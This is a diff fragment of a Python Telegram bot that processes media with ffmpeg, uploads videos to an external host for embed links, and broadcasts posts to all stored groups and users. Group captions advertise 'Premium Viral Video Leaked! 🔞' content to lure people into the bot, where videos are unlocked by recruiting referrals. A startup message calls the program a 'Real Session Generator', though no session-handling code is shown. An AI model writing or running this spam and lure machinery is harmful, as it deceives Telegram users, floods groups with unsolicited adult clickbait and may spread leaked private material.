+ "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file
 
349
  ]
350
  process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
351
  await process.communicate()
352
+ if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
 
353
 
 
354
  if is_blur and not is_large_video:
355
+ await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
 
 
 
 
356
  radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
357
  ext = "jpg" if media_type == "photo" else "mp4"
358
  blurred_file = f"{original_file}_blurred.{ext}"
 
363
  else:
364
  ff_filter = ["-vf", f"boxblur={radius}:1"]
365
 
366
+ if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
367
+ elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-pix_fmt", "yuv420p", blurred_file]
368
+ else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
 
 
 
369
 
370
  process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
371
  await process_blur.communicate()
372
+ if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
 
 
373
 
 
374
  if media_type == "video":
375
  await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
376
  api_endpoint = "https://api.byse.sx/upload/server"
 
377
  loop = asyncio.get_event_loop()
378
+ response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
379
  result = response.json()
380
 
381
  if result.get('status') == 200:
382
+ upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
 
383
  if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
 
384
  file_status = upload_res['files'][0].get('status', '')
385
  if "not allowed" in str(file_status).lower():
386
  await status_msg.edit_text(f"❌ byse.sx ফাইল রিজেক্ট করেছে: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
387
  return
388
+ file_code = upload_res['files'][0].get('filecode')
389
+ if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
390
 
391
  if not embed_link:
392
  await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
393
  return
394
 
 
395
  if is_large_video:
396
+ admin_cap = f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>ভিডিওটি বড় হওয়ায় ব্রডকাস্ট স্কিপ করা হয়েছে।</i>"
 
 
 
 
397
  await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
398
  await status_msg.delete()
399
  return
400
+
 
401
  await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
 
402
  if media_type == "video":
403
+ caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
404
  else:
405
+ caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
 
 
 
 
 
 
 
 
406
 
407
+ group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
408
+ admin_cap = f" <b>সফল!</b> মিডিয়াটি ব্রডকাস্ট হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
 
409
 
 
410
  thumb_path = None
 
411
  if media_type == "video":
 
 
 
 
412
  thumb_path = f"{original_file}_thumb.jpg"
413
+ proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
 
414
  await proc.communicate()
415
+ if not os.path.exists(thumb_path): thumb_path = None
 
416
 
417
  if media_type == "photo":
418
  sent_to_admin = await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
 
421
  sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
422
  tg_file_id = sent_to_admin.animation.file_id
423
  else:
424
+ sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumb=thumb_path)
 
 
 
 
 
 
 
 
 
425
  tg_file_id = sent_to_admin.video.file_id
426
 
427
  await status_msg.delete()
 
428
  groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
429
  group_ids = [g['group_id'] for g in groups_res.data]
430
  success_count, fail_count = 0, 0
431
 
432
  for gid in set(group_ids):
433
  try:
434
+ if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
435
+ elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
436
+ else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
 
 
 
437
  success_count += 1
438
  await asyncio.sleep(1.5)
439
+ except Exception: fail_count += 1
 
440
 
441
  await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ (রিমুভড): {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
442
 
443
+ except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
 
444
  finally:
445
+ for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
 
446
  if f and os.path.exists(f):
447
  try: os.remove(f)
448
  except: pass
449
 
 
 
450
  @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
451
  async def bot_stats(client, message):
452
  try:
453
  users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
454
  videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
455
  groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
456
+ await message.reply(f"📊 <b>বটের স্ট্যাটাস:</b>\n👥 ইউজার: <code>{users.count or 0}</code>\n🎬 ভিডিও: <code>{videos.count or 0}</code>\n📢 গ্রুপ: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
 
457
  except Exception as e: print(e)
458
 
459
  @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
 
472
  admin_states.pop(message.chat.id, None)
473
 
474
  try:
475
+ all_users, start, step = [], 0, 1000
 
 
476
  while True:
477
  res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
478
+ if not res.data: break
 
479
  all_users.extend(res.data)
480
  start += step
481
 
 
485
  await message.copy(chat_id=u['user_id'])
486
  success += 1
487
  await asyncio.sleep(0.15)
488
+ except Exception: failed += 1
 
489
 
490
  await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
491
  except Exception as e: print(e)
 
494
  async def add_png(client, message):
495
  try:
496
  parts = message.command
497
+ needed_ref, duration = 3, "random"
498
+ if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
499
+ elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
 
 
 
500
  elif len(parts) == 2: thumbnail_url = parts[1]
501
+ else: return await message.reply("❌ নিয়ম ভুল।")
 
 
502
 
503
+ admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
 
504
  await message.reply("✅ এখন Video/Embed Link দিন।")
505
  except Exception as e: print(e)
506
 
507
  @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
508
  async def catch_admin_steps(client, message):
509
  state = admin_states.get(message.chat.id, {})
 
510
  if state.get("step") == 1:
511
  if not message.text: return
512
  video_url = message.text.strip()
 
513
  if video_url == "/cancel":
514
  admin_states.pop(message.chat.id, None)
515
+ return await message.reply("❌ বাতিল করা হয়েছে।")
 
516
 
 
 
 
517
  try:
518
+ await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
519
  await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
520
  except Exception as e: print(e)
521
  finally: admin_states.pop(message.chat.id, None)
 
522
  elif state.get("step") == "broadcast":
523
  await process_broadcast(client, message)
524
 
525
+ def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
 
 
 
526
  async def main():
527
  await bot.start()
528
  print("🤖 Pyrogram Bot & Real Session Generator is running!")